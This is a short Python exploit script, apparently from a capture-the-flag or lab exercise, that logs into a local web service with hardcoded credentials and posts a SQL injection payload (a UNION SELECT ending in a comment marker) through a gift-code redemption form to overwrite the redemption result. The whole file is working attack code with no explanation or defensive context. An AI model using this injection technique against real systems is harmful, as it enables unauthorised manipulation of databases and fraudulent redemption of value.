exploit.py

# We know that vuln. is at "{username}" line, so this is script to exploit it
import requests

sess = requests.Session()

# First we need to login
res = sess.post("http://127.0.0.1:1337/login.html", data={"username": "JakeClark", "password": "tu_1_den_8"})
# Overwrite result from "LOGINGIFT" code
res = sess.post("http://127.0.0.1:1337/redemption.html", data={"code": "LOGINGIFT1' UNION SELECT '08/10/2022', '12/10/2024', '1600' ORDER BY FROMDATE ASC LIMIT 1 OFFSET 0-- "})
print(res.text)